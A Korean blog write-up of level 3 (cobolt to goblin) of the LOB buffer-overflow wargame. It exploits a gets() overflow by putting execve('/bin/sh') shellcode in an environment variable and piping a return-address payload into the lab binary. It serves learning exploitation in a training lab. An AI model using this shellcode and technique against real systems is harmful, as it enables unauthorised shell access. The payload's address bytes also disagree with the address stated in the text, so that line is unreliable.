혜랑's STORY

[LOB RedHat] Lv 3. cobolt-> goblin 본문

2021 SISS 21기 활동/겨울방학 System

[LOB RedHat] Lv 3. cobolt-> goblin

hyerang0125 2021. 1. 30. 02:11

문제를 풀기 위해 xshell에 로그인 해 주었다.

ID : cobolt / PW : hacking exposed

가장 먼저 존재하는 파일을 알아보기 위해 ls -l 명령어를 실행하였다.

goblin.c 파일의 내용을 확인해 보자.

Lv.2와 같이 버퍼에 16 바이트를 할당하고 있어 쉘코드를 담기엔 충분하지 않다. 앞선 문제와 다른 점은 strcpy가 아닌 gets 함수를 사용한다는 점이다. 그러나 gets 함수 또한 문자열의 길이를 검사하지 않는 취약점이 존재한다.

앞에서 실행인자에 쉘코드를 전달하는 방법을 사용했기 때문에 이번엔 환경변수를 선언하여 문제를 해결하려 한다. 환경변수를 선언하는 방법은 다음과 같다.

export SHELLCODE=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

env를 통하여 값이 잘 들어갔는지 확인해 주었다.

이제 환경변수의 주소를 출력해 주어야 한다. 따라서 환경변수의 주소를 출력하는 함수인 getenv.c 파일을 만들어 주었다.

환경변수의 주소가 "0xbffffe6b"라는 것을 알 수 있었다. 이제 "A"를 20 바이트 채운 뒤, RET에 환경변수의 주소값을 넣어 주었다.

일단 파이프를 사용하는 이유는 하나의 command를 다른 command의 입력이나 출력을 지정할 수 있다. 즉, 여러명령을 하나의 command 라인 안에서 처리가 가능하고, 또한 파이프라인 기호 "|"의 왼쪽 명령의 표준 출력(stdout)을 오른쪽 명령의 표준입력(stdin)으로 사용할 수 있기 때문이다.

이때 그냥 (python -c 'print "A"*20 + "\x6b\xfe\xff\xdf"') | ./goblin 명령을 하면 프로그램이 바로 종료된다. 따라서 cat 명령어와 같이 표준 입력을 받아서 표준 출력을 해주는 명령어를 같이 사용함으로써 cat 명령어가 파이프로 실행파일과 연결되어 있어 프로그램이 종료되지 않고 입력을 대기하게 되기 때문에 my-pass 명령어를 사용할 수 있게된다.

그 결과 cobolt에서 goblin으로 가는 비밀번호를 얻어냈다.